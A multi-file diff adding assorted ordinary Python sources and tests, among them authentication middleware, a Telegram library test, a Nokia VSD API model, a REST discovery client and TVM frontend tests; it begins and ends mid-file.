"""Middleware to enable form autentication.""" + + def __init__(self, application, config): + self.application = application + self.config = config + self.debug = asbool(config['debug']) + self.default_public = asbool(config['auth.default_public']) + self.login_url = urls.url(config.get('auth.login')) + + def _handle_unauthorized(self, environ): + LOG.info(u'Unauthorized request from %s', environ['REMOTE_ADDR']) + + is_xmlhttp_request = jsonrpc.is_xmlhttp_request(environ) + #TODO: Add basic auth for JSON requests + if is_xmlhttp_request and jsonrpc.request_accept_json(environ): + compact_json = not self.debug + + raise jsonrpc.JSONRPCUnauthorized(compact=compact_json) + elif self.login_url: + LOG.debug(u'Redirecting to login page %s', self.login_url) + #redirect non JSON requests to login page + raise httpexc.HTTPFound(location=self.login_url) + + #when no login page is available and JSON request dont + #accept JSON response raise HTTP unauthorized + raise httpexc.HTTPUnauthorized() + + def __call__(self, environ, start_response): + view_handler = environ.get('duende.view') + is_public_view = getattr(view_handler, 'public', self.default_public) + session = environ['beaker.session'] + user = session.get('user', None) + if not (is_public_view or user): + self._handle_unauthorized(environ) + + environ['SESSION_ID'] = session.id + if user: + environ['REMOTE_USER'] = user.get_username() + + return self.application(environ, start_response) diff --git a/pool/shard000/Python/0008404_exercise4.py b/pool/shard000/Python/0008404_exercise4.py new file mode 100644 index 0000000000000000000000000000000000000000..c693789768a146d386f6b5768755f40c01949d9c --- /dev/null +++ b/pool/shard000/Python/0008404_exercise4.py @@ -0,0 +1,32 @@ +#spherical divergence correction + +import toolbox +import numpy as np +import pylab + +#-------------------------------------------------- +# useful functions +#------------------------------------------------- + +None + +if __name__ == "__main__": + #initialise dataset + print "initialising dataset" + workspace, params = toolbox.initialise('foybrook.su') + + #find our test CDP + #~ print np.unique(workspace['cdp']) + + #extract it + cdp = workspace[workspace['cdp'] == 396] + + #display it + #~ toolbox.display(cdp, None, **params) + + params['gamma'] = 6 + toolbox.tar(cdp, None, **params) + + #display it + toolbox.display(cdp, None, **params) + pylab.show() \ No newline at end of file diff --git a/pool/shard000/Python/0008405_test_middleware.py b/pool/shard000/Python/0008405_test_middleware.py new file mode 100644 index 0000000000000000000000000000000000000000..05dfe44c3f5200f00cbbe5b3b99c4244f6ebbffe --- /dev/null +++ b/pool/shard000/Python/0008405_test_middleware.py @@ -0,0 +1,71 @@ +# -*- coding: utf-8 -*- +# +# Copyright © 2012 - 2016 Michal Čihař +# +# This file is part of Weblate +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +""" +Tests for user handling. +""" + +from django.test import TestCase +from django.contrib.auth.models import AnonymousUser, User +from django.test.utils import override_settings +from django.http import HttpRequest, HttpResponseRedirect + +from weblate.accounts.middleware import RequireLoginMiddleware + + +class MiddlewareTest(TestCase): + def view_method(self): + return 'VIEW' + + def test_disabled(self): + middleware = RequireLoginMiddleware() + request = HttpRequest() + self.assertIsNone( + middleware.process_view(request, self.view_method, (), {}) + ) + + @override_settings(LOGIN_REQUIRED_URLS=(r'/project/(.*)$',)) + def test_protect_project(self): + middleware = RequireLoginMiddleware() + request = HttpRequest() + request.user = User() + request.META['SERVER_NAME'] = 'server' + request.META['SERVER_PORT'] = '80' + # No protection for not protected path + self.assertIsNone( + middleware.process_view(request, self.view_method, (), {}) + ) + request.path = '/project/foo/' + # No protection for protected path and logged in user + self.assertIsNone( + middleware.process_view(request, self.view_method, (), {}) + ) + # Protection for protected path and not logged in user + # pylint: disable=R0204 + request.user = AnonymousUser() + self.assertIsInstance( + middleware.process_view(request, self.view_method, (), {}), + HttpResponseRedirect + ) + # No protection for login and not logged in user + request.path = '/accounts/login/' + self.assertIsNone( + middleware.process_view(request, self.view_method, (), {}) + ) diff --git a/pool/shard000/Python/0008406_question.py b/pool/shard000/Python/0008406_question.py new file mode 100644 index 0000000000000000000000000000000000000000..c2d80c62e7331c3413f6675e66468b68e9efa9d1 --- /dev/null +++ b/pool/shard000/Python/0008406_question.py @@ -0,0 +1,63 @@ +from .buzzfeed_choice import BuzzfeedChoice +from .diagnostic_choice import DiagnosticChoice + + +class Question(object): + """ + method to questions json in required format + """ + + id = "" + title = "" + text = "" + group = "" + choices = "" + + def __init__(self, **params): + self.id = params['id'] + self.order = params['order'] + self.title = params['title'] + self.text = params['text'] + self.group = params['group'] + self.choices = params['choices'] + + @classmethod + def get_object(cls, question, choices): + """ + return object of a question + :param question: posted question + :param choices: posted choices for each question + :return: question object + """ + return cls(id=question.get('id', ''), order=question.get('order', ''), title=question.get('question_title', ''), + group=question.get('group'), text=question.get('question_txt', ''), choices=choices) + + def get_json(self): + """ + return question json in required format to save + :return: dict + """ + return {'id': self.id, 'order': self.order, 'title': self.title, 'text': self.text, 'group': self.group, + 'choices': self.choices} + + @classmethod + def filter_question(cls, data, quiz_type): + """ + get only required data for each posted question + :param data: list of posted questions + :param quiz_type: type of quiz + :return: filtered list of questions json + """ + results = [] + questions = data.get('questions') + + for question in questions: + choices = question.get('choices', []) + if quiz_type == 'BFQ': + choices_json = BuzzfeedChoice.get_choices_json(choices) + else: + choices_json = DiagnosticChoice.get_choices_json(choices) + + qs = cls.get_object(question, choices_json) + results.append(qs.get_json()) + return results diff --git a/pool/shard000/Python/0008407_test_labeledprice.py b/pool/shard000/Python/0008407_test_labeledprice.py new file mode 100644 index 0000000000000000000000000000000000000000..bfcd72edda2263e2f849ac5a1d48301a87e0d881 --- /dev/null +++ b/pool/shard000/Python/0008407_test_labeledprice.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# +# A library that provides a Python interface to the Telegram Bot API +# Copyright (C) 2015-2021 +# Leandro Toledo de Souza +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser Public License for more details. +# +# You should have received a copy of the GNU Lesser Public License +# along with this program. If not, see [http://www.gnu.org/licenses/]. +import pytest + +from telegram import LabeledPrice, Location + + +@pytest.fixture(scope='class') +def labeled_price(): + return LabeledPrice(TestLabeledPrice.label, TestLabeledPrice.amount) + + +class TestLabeledPrice: + label = 'label' + amount = 100 + + def test_slot_behaviour(self, labeled_price, recwarn, mro_slots): + inst = labeled_price + for attr in inst.__slots__: + assert getattr(inst, attr, 'err') != 'err', f"got extra slot '{attr}'" + assert not inst.__dict__, f"got missing slot(s): {inst.__dict__}" + assert len(mro_slots(inst)) == len(set(mro_slots(inst))), "duplicate slot" + inst.custom, inst.label = 'should give warning', self.label + assert len(recwarn) == 1 and 'custom' in str(recwarn[0].message), recwarn.list + + def test_expected_values(self, labeled_price): + assert labeled_price.label == self.label + assert labeled_price.amount == self.amount + + def test_to_dict(self, labeled_price): + labeled_price_dict = labeled_price.to_dict() + + assert isinstance(labeled_price_dict, dict) + assert labeled_price_dict['label'] == labeled_price.label + assert labeled_price_dict['amount'] == labeled_price.amount + + def test_equality(self): + a = LabeledPrice('label', 100) + b = LabeledPrice('label', 100) + c = LabeledPrice('Label', 101) + d = Location(123, 456) + + assert a == b + assert hash(a) == hash(b) + + assert a != c + assert hash(a) != hash(c) + + assert a != d + assert hash(a) != hash(d) diff --git a/pool/shard000/Python/0008408_nuoverlayaddresspool.py b/pool/shard000/Python/0008408_nuoverlayaddresspool.py new file mode 100644 index 0000000000000000000000000000000000000000..d33c00917315c75e569710439af783ec55e6722f --- /dev/null +++ b/pool/shard000/Python/0008408_nuoverlayaddresspool.py @@ -0,0 +1,357 @@ +# -*- coding: utf-8 -*- +# +# Copyright (c) 2015, Alcatel-Lucent Inc, 2017 Nokia +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# * Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY +# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + + + +from .fetchers import NUMetadatasFetcher + + +from .fetchers import NUGlobalMetadatasFetcher + + +from .fetchers import NUOverlayPATNATEntriesFetcher + +from bambou import NURESTObject + + +class NUOverlayAddressPool(NURESTObject): + """ Represents a OverlayAddressPool in the VSD + + Notes: + The address pool the public IP of the PAT/NAT entries belong too. + """ + + __rest_name__ = "overlayaddresspool" + __resource_name__ = "overlayaddresspools" + + + ## Constants + + CONST_IP_TYPE_IPV6 = "IPV6" + + CONST_IP_TYPE_IPV4 = "IPV4" + + CONST_ENTITY_SCOPE_GLOBAL = "GLOBAL" + + CONST_IP_TYPE_DUALSTACK = "DUALSTACK" + + CONST_ENTITY_SCOPE_ENTERPRISE = "ENTERPRISE" + + + + def __init__(self, **kwargs): + """ Initializes a OverlayAddressPool instance + + Notes: + You can specify all parameters while calling this methods. + A special argument named `data` will enable you to load the + object from a Python dictionary + + Examples: + >>> overlayaddresspool = NUOverlayAddressPool(id=u'xxxx-xxx-xxx-xxx', name=u'OverlayAddressPool') + >>> overlayaddresspool = NUOverlayAddressPool(data=my_dict) + """ + + super(NUOverlayAddressPool, self).__init__() + + # Read/Write Attributes + + self._ip_type = None + self._name = None + self._last_updated_by = None + self._description = None + self._end_address_range = None + self._entity_scope = None + self._associated_domain_id = None + self._start_address_range = None + self._external_id = None + + self.expose_attribute(local_name="ip_type", remote_name="IPType", attribute_type=str, is_required=False, is_unique=False, choices=[u'DUALSTACK', u'IPV4', u'IPV6']) + self.expose_attribute(local_name="name", remote_name="name", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="last_updated_by", remote_name="lastUpdatedBy", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="description", remote_name="description", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="end_address_range", remote_name="endAddressRange", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="entity_scope", remote_name="entityScope", attribute_type=str, is_required=False, is_unique=False, choices=[u'ENTERPRISE', u'GLOBAL']) + self.expose_attribute(local_name="associated_domain_id", remote_name="associatedDomainID", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="start_address_range", remote_name="startAddressRange", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="external_id", remote_name="externalID", attribute_type=str, is_required=False, is_unique=True) + + + # Fetchers + + + self.metadatas = NUMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child") + + + self.global_metadatas = NUGlobalMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child") + + + self.overlay_patnat_entries = NUOverlayPATNATEntriesFetcher.fetcher_with_object(parent_object=self, relationship="child") + + + self._compute_args(**kwargs) + + # Properties + + @property + def ip_type(self): + """ Get ip_type value. + + Notes: + The IP Type of this Overlay Address Pool, possible values are IPV4, IPV6 or DUALSTACK. + + + This attribute is named `IPType` in VSD API. + + """ + return self._ip_type + + @ip_type.setter + def ip_type(self, value): + """ Set ip_type value. + + Notes: + The IP Type of this Overlay Address Pool, possible values are IPV4, IPV6 or DUALSTACK. + + + This attribute is named `IPType` in VSD API. + + """ + self._ip_type = value + + + @property + def name(self): + """ Get name value. + + Notes: + Name for the PAT NAT pool + + + """ + return self._name + + @name.setter + def name(self, value): + """ Set name value. + + Notes: + Name for the PAT NAT pool + + + """ + self._name = value + + + @property + def last_updated_by(self): + """ Get last_updated_by value. + + Notes: + ID of the user who last updated the object. + + + This attribute is named `lastUpdatedBy` in VSD API. + + """ + return self._last_updated_by + + @last_updated_by.setter + def last_updated_by(self, value): + """ Set last_updated_by value. + + Notes: + ID of the user who last updated the object. + + + This attribute is named `lastUpdatedBy` in VSD API. + + """ + self._last_updated_by = value + + + @property + def description(self): + """ Get description value. + + Notes: + addresspool description + + + """ + return self._description + + @description.setter + def description(self, value): + """ Set description value. + + Notes: + addresspool description + + + """ + self._description = value + + + @property + def end_address_range(self): + """ Get end_address_range value. + + Notes: + The end address for the pool range. + + + This attribute is named `endAddressRange` in VSD API. + + """ + return self._end_address_range + + @end_address_range.setter + def end_address_range(self, value): + """ Set end_address_range value. + + Notes: + The end address for the pool range. + + + This attribute is named `endAddressRange` in VSD API. + + """ + self._end_address_range = value + + + @property + def entity_scope(self): + """ Get entity_scope value. + + Notes: + Specify if scope of entity is Data center or Enterprise level + + + This attribute is named `entityScope` in VSD API. + + """ + return self._entity_scope + + @entity_scope.setter + def entity_scope(self, value): + """ Set entity_scope value. + + Notes: + Specify if scope of entity is Data center or Enterprise level + + + This attribute is named `entityScope` in VSD API. + + """ + self._entity_scope = value + + + @property + def associated_domain_id(self): + """ Get associated_domain_id value. + + Notes: + The ID of the associated l3-domain. + + + This attribute is named `associatedDomainID` in VSD API. + + """ + return self._associated_domain_id + + @associated_domain_id.setter + def associated_domain_id(self, value): + """ Set associated_domain_id value. + + Notes: + The ID of the associated l3-domain. + + + This attribute is named `associatedDomainID` in VSD API. + + """ + self._associated_domain_id = value + + + @property + def start_address_range(self): + """ Get start_address_range value. + + Notes: + Start address for the pool range + + + This attribute is named `startAddressRange` in VSD API. + + """ + return self._start_address_range + + @start_address_range.setter + def start_address_range(self, value): + """ Set start_address_range value. + + Notes: + Start address for the pool range + + + This attribute is named `startAddressRange` in VSD API. + + """ + self._start_address_range = value + + + @property + def external_id(self): + """ Get external_id value. + + Notes: + External object ID. Used for integration with third party systems + + + This attribute is named `externalID` in VSD API. + + """ + return self._external_id + + @external_id.setter + def external_id(self, value): + """ Set external_id value. + + Notes: + External object ID. Used for integration with third party systems + + + This attribute is named `externalID` in VSD API. + + """ + self._external_id = value + + + + \ No newline at end of file diff --git a/pool/shard000/Python/0008413_test_generators.py b/pool/shard000/Python/0008413_test_generators.py new file mode 100644 index 0000000000000000000000000000000000000000..40298ca0fcf7f5201cbb08559f3eedc4163b5134 --- /dev/null +++ b/pool/shard000/Python/0008413_test_generators.py @@ -0,0 +1,90 @@ +# Tests of generators +# +# Copyright (C) 2017--2020 Simon Dobson +# +# This file is part of simplicial, simplicial topology in Python. +# +# Simplicial is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Simplicial is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Simplicial. If not, see . + +import unittest +import six +from simplicial import * + +class GeneratorTests(unittest.TestCase): + + def testSkeleton1simplex(self): + '''Test construction of a 1-simplex skeleton (a line).''' + c = k_skeleton(1) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 2) + self.assertTrue(ns[0], 2) + self.assertTrue(ns[1], 1) + + def testSkeleton2simplex(self): + '''Test construction of a 2-simplex skeleton (a triangle).''' + c = k_skeleton(2) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 2) + self.assertTrue(ns[0], 3) + self.assertTrue(ns[1], 3) + + def testSkeletonLargeSimplex(self): + '''Build the skeleton of a high-dimensional simplex, mainly as a soak test.''' + c = k_skeleton(10) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 2) + + def test1simplex(self): + '''Test construction of a 1-simplex (a line).''' + c = k_simplex(1) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 2) + self.assertTrue(ns[0], 2) + self.assertTrue(ns[1], 1) + + def test2simplex(self): + '''Test construction of a 2-simplex (a filled triangle).''' + c = k_simplex(2) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 3) + self.assertTrue(ns[0], 3) + self.assertTrue(ns[1], 3) + self.assertTrue(ns[2], 1) + + def testLargeSimplex(self): + '''Test construction of a high-dimensional simplex, mainly as a soak test.''' + c = k_simplex(10) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 11) + + def test2void(self): + '''Test construction of a 2-void (an empty tetrahedron).''' + c = k_void(2) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 3) + self.assertTrue(ns[0], 4) + self.assertTrue(ns[1], 6) + self.assertTrue(ns[2], 4) + + def testRing(self): + '''Test the construction of a ring.''' + c = ring(10) + ns = c.numberOfSimplicesOfOrder() + self.assertEqual(len(ns), 2) + self.assertTrue(ns[0], 10) + self.assertTrue(ns[1], 10) + betti = c.bettiNumbers([0, 1]) + self.assertTrue(betti[0], 1) + self.assertTrue(betti[1], 1) + diff --git a/pool/shard000/Python/0008415_restclient.py b/pool/shard000/Python/0008415_restclient.py new file mode 100644 index 0000000000000000000000000000000000000000..cac215ecb3c11df042d891a95ad27b2a46429ad2 --- /dev/null +++ b/pool/shard000/Python/0008415_restclient.py @@ -0,0 +1,134 @@ +from json import dumps +from typing import Dict, List, Union, Any +from requests import Session +from requests.exceptions import BaseHTTPError +import logging + +JSONValue = Union[str, int, float, bool, None, Dict[str, Any], List[Any]] +JSONType = Union[Dict[str, JSONValue], List[JSONValue]] + +log = logging.getLogger(__name__) + +""" +Defines very simple classes to create a callable interface to a REST api +from a discovery REST description document. + +Intended as a super simple replacement for google-api-python-client, using +requests instead of httplib2 + +giles 2018 +""" + + +# a dummy decorator to suppress unresolved references on this dynamic class +def dynamic_attrs(cls): + return cls + + +@dynamic_attrs +class RestClient: + """ To create a callable client to a REST API, instantiate this class. + For details of the discovery API see: + https://developers.google.com/discovery/v1/using + """ + + def __init__(self, api_url: str, auth_session: Session): + """ """ + self.auth_session: Session = auth_session + service_document = self.auth_session.get(api_url).json() + self.json: JSONType = service_document + self.base_url: str = str(service_document["baseUrl"]) + for c_name, collection in service_document["resources"].items(): + new_collection = Collection(c_name) + setattr(self, c_name, new_collection) + for m_name, method in collection["methods"].items(): + new_method = Method(self, **method) + setattr(new_collection, m_name, new_method) + + +# pylint: disable=no-member +class Method: + """ Represents a method in the REST API. To be called using its execute + method, the execute method takes a single parameter for body and then + named parameters for Http Request parameters. + + e.g. + api = RestClient(https://photoslibrary.googleapis.com/$discovery' \ + '/rest?version=v1', authenticated_session) + api.albums.list.execute(pageSize=50) + """ + + def __init__(self, service: RestClient, **k_args: Dict[str, str]): + self.path: str = None + self.httpMethod: str = None + self.service: RestClient = service + self.__dict__.update(k_args) + self.path_args: List[str] = [] + self.query_args: List[str] = [] + if hasattr(self, "parameters"): + for key, value in self.parameters.items(): + if value["location"] == "path": + self.path_args.append(key) + else: + self.query_args.append(key) + + def execute(self, body: str = None, **k_args: Dict[str, str]): + """ executes the remote REST call for this Method""" + path_args: Dict[str, str] = { + k: k_args[k] for k in self.path_args if k in k_args + } + query_args: Dict[str, str] = { + k: k_args[k] for k in self.query_args if k in k_args + } + path: str = self.service.base_url + self.make_path(path_args) + if body: + body = dumps(body) + + log.trace( + "\nREQUEST: %s to %s params=%s\n%s", + self.httpMethod, + path, + query_args, + body, + ) + result = self.service.auth_session.request( + self.httpMethod, data=body, url=path, timeout=10, params=query_args + ) + log.trace("\nRESPONSE: %s\n%s", result.status_code, str(result.content)) + + try: + result.raise_for_status() + except BaseHTTPError: + log.error( + "Request failed with status {}: {}".format( + result.status_code, result.content + ) + ) + raise + return result + + def make_path(self, path_args: Dict[str, str]) -> str: + """ Extracts the arguments from path_args and inserts them into + the URL template defined in self.path + + Returns: + The URL with inserted parameters + """ + result = str(self.path) + path_params = [] + for key, value in path_args.items(): + path_param = "{{+{}}}".format(key) + if path_param in result: + result = result.replace("{{+{}}}".format(key), value) + path_params.append(key) + for key in path_params: + path_args.pop(key) + return result + + +class Collection: + """ Used to represent a collection of methods + e.g. Google Photos API - mediaItems """ + + def __init__(self, name: str): + self.collection_name = name diff --git a/pool/shard000/Python/0008416_analysis.py b/pool/shard000/Python/0008416_analysis.py new file mode 100644 index 0000000000000000000000000000000000000000..e88d7b4032a6f2b3bd1d6fa957c102a049e3d533 --- /dev/null +++ b/pool/shard000/Python/0008416_analysis.py @@ -0,0 +1,55 @@ +import zope.event + +from Products.Archetypes.event import ObjectInitializedEvent +from Products.CMFCore.WorkflowCore import WorkflowException +from Products.CMFPlone.utils import _createObjectByType + + + +def create_analysis(context, service, keyword, interim_fields): + # Determine if the sampling workflow is enabled + workflow_enabled = context.bika_setup.getSamplingWorkflowEnabled() + # Create the analysis + analysis = _createObjectByType("Analysis", context, keyword) + analysis.setService(service) + analysis.setInterimFields(interim_fields) + analysis.setMaxTimeAllowed(service.getMaxTimeAllowed()) + analysis.unmarkCreationFlag() + analysis.reindexObject() + # Trigger the intitialization event of the new object + zope.event.notify(ObjectInitializedEvent(analysis)) + # Perform the appropriate workflow action + try: + workflow_action = 'sampling_workflow' if workflow_enabled \ + else 'no_sampling_workflow' + context.portal_workflow.doActionFor(analysis, workflow_action) + except WorkflowException: + # The analysis may have been transitioned already! + # I am leaving this code here though, to prevent regression. + pass + # Return the newly created analysis + return analysis + + +def format_numeric_result(analysis, result): + """Print the formatted number part of a results value. This is responsible + for deciding the precision, and notation of numeric values. If a non-numeric + result value is given, the value will be returned unchanged + """ + try: + result = float(result) + except ValueError: + return result + service = analysis.getService() + # Possibly render in exponential notation + threshold = analysis.bika_setup.getExponentialFormatThreshold() + _sig = str("%f"%(result)).split(".") + sig_digits = _sig[0].lstrip("0") + _sig[1].rstrip("0") + if len(sig_digits) >= threshold: + exp_precision = service.getExponentialFormatPrecision() + return str("%%.%se" % exp_precision) % result + # If the result is floatable, render fixed point to the correct precision + precision = service.getPrecision() + if not precision: + precision = '' + return str("%%.%sf" % precision) % result diff --git a/pool/shard000/Python/0008419_test_forward.py b/pool/shard000/Python/0008419_test_forward.py new file mode 100644 index 0000000000000000000000000000000000000000..0f9747538ce92dd260aff0abc77311e35cd6ba24 --- /dev/null +++ b/pool/shard000/Python/0008419_test_forward.py @@ -0,0 +1,101 @@ +import numpy as np + +import topi +import tvm +from tvm.contrib import graph_runtime +import nnvm.symbol as sym +import nnvm.compiler +from nnvm.testing.config import ctx_list +from nnvm import frontend +import mxnet as mx +import model_zoo + + +def verify_mxnet_frontend_impl(mx_symbol, data_shape=(1, 3, 224, 224), out_shape=(1, 1000)): + """Use name different from test to avoid let nose pick it up""" + def get_mxnet_output(symbol, x, dtype='float32'): + from collections import namedtuple + Batch = namedtuple('Batch', ['data']) + mod = mx.mod.Module(symbol, label_names=None) + mod.bind(data_shapes=[('data', x.shape)], for_training=False) + mod.init_params() + mod.forward(Batch([mx.nd.array(x.astype(dtype))])) + out = mod.get_outputs()[0].asnumpy() + args, auxs = mod.get_params() + return out, args, auxs + + def get_tvm_output(symbol, x, args, auxs, target, ctx, dtype='float32'): + new_sym, params = frontend.from_mxnet(symbol, args, auxs) + dshape = x.shape + shape_dict = {'data': dshape} + with nnvm.compiler.build_config(opt_level=3): + graph, lib, params = nnvm.compiler.build(new_sym, target, shape_dict, params=params) + m = graph_runtime.create(graph, lib, ctx) + # set inputs + m.set_input("data", tvm.nd.array(x.astype(dtype))) + m.set_input(**params) + m.run() + # get outputs + out = m.get_output(0, tvm.nd.empty(out_shape, dtype)) + return out.asnumpy() + + # random input + dtype = 'float32' + x = np.random.uniform(size=data_shape) + mx_out, args, auxs = get_mxnet_output(mx_symbol, x, dtype) + assert "data" not in args + for target, ctx in ctx_list(): + tvm_out = get_tvm_output(mx_symbol, x, args, auxs, target, ctx, dtype) + np.testing.assert_allclose(mx_out, tvm_out, rtol=1e-5, atol=1e-5) + +def test_forward_mlp(): + mlp = model_zoo.mx_mlp + verify_mxnet_frontend_impl(mlp) + +def test_forward_vgg(): + for n in [11]: + mx_sym = model_zoo.mx_vgg[n] + verify_mxnet_frontend_impl(mx_sym) + +def test_forward_resnet(): + for n in [18]: + mx_sym = model_zoo.mx_resnet[n] + verify_mxnet_frontend_impl(mx_sym) + +def test_forward_elu(): + data = mx.sym.var('data') + data = mx.sym.concat(data, -data, dim=1) # negative part explicitly + mx_sym = mx.sym.LeakyReLU(data, act_type='elu') + verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 6, 100, 100)) + +def test_forward_rrelu(): + data = mx.sym.var('data') + data = mx.sym.concat(data, -data, dim=1) # negative part explicitly + mx_sym = mx.sym.LeakyReLU(data, act_type='rrelu', lower_bound=0.3, upper_bound=0.7) + verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 6, 100, 100)) + +def test_forward_softrelu(): + data = mx.sym.var('data') + data = mx.sym.concat(data, -data, dim=1) # negative part explicitly + mx_sym = mx.sym.Activation(data, act_type='softrelu') + verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 6, 100, 100)) + +def test_forward_fc_flatten(): + # test flatten=True option in mxnet 0.11.1 + data = mx.sym.var('data') + try: + mx_sym = mx.sym.FullyConnected(data, num_hidden=100, flatten=True) + verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 100)) + mx_sym = mx.sym.FullyConnected(mx.sym.Flatten(data), num_hidden=100, flatten=False) + verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 100)) + except: + pass + +if __name__ == '__main__': + test_forward_mlp() + test_forward_vgg() + test_forward_resnet() + test_forward_elu() + test_forward_rrelu() + test_forward_softrelu() + test_forward_fc_flatten() diff --git a/pool/shard000/Python/0008420_submit.agts.py b/pool/shard000/Python/0008420_submit.agts.py new file mode 100644 index 0000000000000000000000000000000000000000..6ce9afc32dd05fee98a3c061f45d9d758a5e10fa --- /dev/null +++ b/pool/shard000/Python/0008420_submit.agts.py @@ -0,0 +1,8 @@ +def agts(queue): + a = queue.add('atomize.py', ncpus=1, walltime=30, + creates=['atomization.txt']) + queue.add('relax.py', deps=a, ncpus=1, walltime=30, + creates=['optimization.txt']) + if 0: # https://trac.fysik.dtu.dk/projects/gpaw/ticket/250 + queue.add('ensembles.py', deps=a, ncpus=1, walltime=30, + creates=['ensemble_energies.txt', 'ensemble.dat']) diff --git a/pool/shard000/Python/0008423_ut_html_test_get_resources.py b/pool/shard000/Python/0008423_ut_html_test_get_resources.py new file mode 100644 index 0000000000000000000000000000000000000000..3e614eed9ae89b6e787f8a669ebffc1e24d514f1 --- /dev/null +++ b/pool/shard000/Python/0008423_ut_html_test_get_resources.py @@ -0,0 +1,188 @@ +""" + + test_get_resources.py + + + 8/30/2009 + + + Jason Chen + jchen@cs.washington.edu + + + Tests that the get_resources view function + handles normal operation and exceptions correctly. + + + See test_register.py for an explanation of our usage of the Django test client. +""" + +#pragma out + + +# We import the testlib FIRST, as the test db settings +# need to be set before we import anything else. +from seattlegeni.tests import testlib + +from seattlegeni.common.exceptions import * +from seattlegeni.website.control import interface +from seattlegeni.website.control import models + +from django.contrib.auth.models import User as DjangoUser + +# The django test client emulates a webclient, and returns what django +# considers the final rendered result (in HTML). This allows to test purely the view +# functions. +from django.test.client import Client + + +# Declare our mock functions +def mock_get_logged_in_user(request): + geniuser = models.GeniUser(username='tester', password='password', email='test@test.com', + affiliation='test affil', user_pubkey='user_pubkey', + user_privkey='user_privkey', donor_pubkey='donor_pubkey', + usable_vessel_port='12345', free_vessel_credits=10) + return geniuser + +def mock_acquire_vessels(geniuser, vesselcount, vesseltype): + return ['test1', 'test2'] + +def mock_acquire_vessels_throws_UnableToAcquireResourcesError(geniuser, vesselcount, vesseltype): + raise UnableToAcquireResourcesError + +def mock_acquire_vessels_throws_InsufficientUserResourcesError(geniuser, vesselcount, vesseltype): + raise InsufficientUserResourcesError + +c = Client() +good_data = {'num':5, 'env':'rand'} + + +def main(): + + # Setup test environment + testlib.setup_test_environment() + testlib.setup_test_db() + + try: + login_test_user() + + test_normal() + test_interface_throws_UnableToAcquireResourcesError() + test_interface_throws_InsufficientUserResourcesError() + test_blank_POST_data() + test_invalid_POST_data_invalid_num() + test_invalid_POST_data_invalid_env() + + print "All tests passed." + + finally: + testlib.teardown_test_db() + testlib.teardown_test_environment() + + + +def test_normal(): + """ + + Test normal behavior + """ + interface.acquire_vessels = mock_acquire_vessels + response = c.post('/html/get_resources', good_data, follow=True) + assert(response.status_code == 200) + assert(response.template[0].name == 'control/myvessels.html') + + +def test_interface_throws_UnableToAcquireResourcesError(): + """ + + Test behavior if interface throws UnableToAcquireResourcesError. + + + Checking only the existance of "action_summary" in the response + is sufficient in seeing whether the view caught the error, since + error messages are shown in that 